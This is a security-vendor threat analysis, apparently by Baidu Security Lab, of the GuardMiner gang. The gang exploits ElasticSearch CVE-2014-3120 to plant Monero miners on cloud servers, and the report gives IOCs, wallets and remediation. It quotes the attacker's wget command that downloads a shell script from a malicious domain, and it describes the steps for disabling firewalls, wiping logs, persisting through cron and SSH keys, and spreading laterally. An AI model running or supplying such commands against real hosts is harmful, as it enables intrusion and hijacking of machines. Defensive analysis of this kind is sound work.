0x00背景
百度安全智云盾系统多次检测到黑客团伙GuardMiner利用ElasticSearch远程命令执行漏洞(CVE-2014-3120)入侵云上主机进行门罗币挖矿,根据智云盾威胁情报中心检测的数据显示,针对云上主机的恶意挖矿行为呈现上升趋势,最常见的挖矿币种就是门罗币。
黑客热衷于利用云上主机实施门罗币挖矿,一方面是巨大的利益驱使。自2020年5月以来,门罗币价格不断上涨,虽然21年上半年有过下跌,但是整体仍然呈现出上涨趋势。下图展示了门罗币的价格走势。
图1 门罗币价格趋势(数据来源:coinmarketcap.com)
另一方面,门罗币有环状交易结构,导致不可追查,它采用的CryptoNight算法,针对CPU架构进行优化,所需要的运算资源从GPU转向了CPU,所以黑客热衷于利用以CPU为主的云主机挖矿,门罗币也成为了挖矿团伙钟爱的目标。
0x01漏洞攻击
1)程序分析
挖矿团伙GuardMiner通过下载的networkmanager来进行漏洞攻击,该模块底层使用go语言编写,并且使用UPX加壳。还原函数名后发现,攻击者总共使用60多种漏洞进行入侵服务器。下图展示了networkmanager模块内置的部分漏洞攻击脚本。
图2 可被利用的漏洞函数名(部分)
经过统计分析,我们将所有漏洞攻击脚本分为了9大类60小类,下表展示了挖矿团伙GuardMiner此次利用的漏洞库。
表1 漏洞库
漏洞类型 |
数目 |
WebLogic远程命令执行漏洞 |
6 |
Hadoop未授权访问漏洞 |
4 |
Drupal漏洞 |
8 |
Thinkphp V5漏洞 |
13 |
Spring 远程命令执行漏洞 |
5 |
SQL Server漏洞 |
7 |
Elasticsearch远程命令执行漏洞 |
6 |
Redis未授权访问漏洞 |
5 |
CCTV设备漏洞 |
6 |
2)漏洞利用
黑客团伙此次使用了ElasticSearch远程命令执行漏洞发起的攻击,该漏洞是黑客利用ElasticSearch 1.2版本使用的脚本引擎MVEL存在的安全问题:不进行任何脚本安全性校验,导致可以执行客户端发送的任意代码。该配置默认是打开的,黑客能够利用这一漏洞,向ElasticSearch的_search?pretty页面发送http请求,请求中包含了可以自动执行恶意
的java代码,代码里包含攻击者构造的恶意命令。此次攻击者使用的命令是下载攻击脚本,命令为:wget http://helpdeskserver.epelcdn.com/dd210131/init.sh -P /tmp/sssooo,下图展示了智云盾捕获的攻击载荷详情:
图3 攻击命令
0x02部署挖矿程序
1)配置环境
攻击者通过远程命令执行漏洞,促使云主机下载恶意shell脚本,该攻击脚本会首先在目标主机配置挖矿所需要的各种环境。先后包括以下几个步骤:
1. 首先关闭防火墙,清理缓存,获取crontab目录和SSH公钥认证文件,将常用的下载工具curl、url、cur、cdl、wget、wdl等等修改为url、cdt、wdt,并且设置linux系统能打开的最大文件数,随后删除系统日志,并且设置tmp目录无法被删除,然后关闭ufw和iptables。
图4 配置环境
2.从公共的比特币交易记录中获取C2地址,设置挖矿程序、持久化脚本、扫描程序的地址、备份地址与最大值;并为挖矿程序,设置最大内存分页数。
图5 配置环境
3.根据挖矿程序的常用端口、进程名、矿池名、地址、钱包地址,杀掉不属于自己的挖矿程序,杀掉tmp目录下的程序,杀掉不属于自己的挖矿容器;这些命令只有一个目的,为了给挖矿程序提供最大的CPU运算资源。
图6 配置环境
2)部署程序
在配置完系统环境后,脚本开始依次下载挖矿程序、守护程序和扫描脚本,在这个过程中会进行自动检查,确保挖矿程序的正常运行。
图7 部署程序
3)加固程序
攻击者部署完挖矿程序后,为了确保程序的稳定运行,分别进行了多种方法确保攻击程序的正常运行。
1.攻击者设置定时任务(每30分钟)定时执行newdat脚本,脚本会检查挖矿程序是否存在,否则则自动安装。
图8 攻击加固
2.通过phpguard程序,确保挖矿进程持续运行。phpguard程序根据名称遍历检查当前主机上挖矿程序是否正常运行,如果没有则重新重启。
3.将公钥写入SSH的authorized_keys文件,配置免密码登录。
图9 攻击加固
0x03横向感染
攻击者利用漏洞进行挖矿程序部署后,会通过多种方式进行横向攻击传播,感染此类木马。感染方式如下:
1.通过查询SSH的known_host,检查是否存在可以免密登录的机器,进而登录连接。
图10 横向感染
2.定向扫描常见应用端口是否存在漏洞,进而实施攻击。
3.通过尝试redis空口令和多个弱口令的方式入侵。
图11 横向感染
0x04矿池分析及统计
1)矿池分析
我们通过查询配置文件:http://h.epelcdn.com/dd210131/config.json,获取到矿池地址列表与钱包地址,这些矿池累计挖出约216.33个门罗币,价值约38.8w人民币(2021年6月10日,门罗币价格1794.24元,合计约38.8w人民币),算力为283.8+840=1123.8H/S,大约是皮皮虾矿池的千分之一。从算力上看,这种广撒网的方式,也能有一定的规模。其中矿池minexmr现在还没有矿工参与计算。下表展示了此次挖矿木马使用的矿池地址与钱包地址。
表2 挖矿数据统计
矿池地址&端口 |
产量 |
挖矿速度(H/S) |
最早时间 |
xmr.f2pool.com:13531 |
215.33279131 |
283.80 |
2019-04-28 |
xmr-eu2.nanopool.org:14444 |
1.000075 |
840.00 |
2020-08-18 |
sg.minexmr.com:5555 |
– |
– |
– |
2)对应的钱包地址
43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR
43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR
3HVQkSGfvyyQ8ACpShBhegoKGLuTCMCiAr
3)IOC信息
表3 攻击IP
IP |
地理位置 |
175.102.179.84 |
中国-北京 |
221.176.156.164 |
中国-河南-开封 |
132.145.186.243 |
美国-弗吉尼亚州-阿什本 |
0x05修复建议
如果云主机不幸感染了此类木马,建议采用以下方式进行修复。
1)删除系统的恶意定时任务,rm -rf /etc/newdat.sh
2)删除ssh的authorized_keys中的恶意公钥
3)查看并杀掉恶意进程:phpguard、networkmanager、phpupdate
4)恢复防火墙的默认配置
5)删除主机上的恶意文件
黑客团伙不仅能够利用控制的服务器进行挖矿,还能够执行DDoS攻击,如果感染的服务器包含企业重要业务数据,黑客还可以运行勒索病毒,达到勒索赎金的目的。总之,云上用户应当防微杜渐,事先做好攻击预防工作。
来源:freebuf.com 2021-06-11 17:21:30 by: 百度安全实验室
请登录后发表评论
注册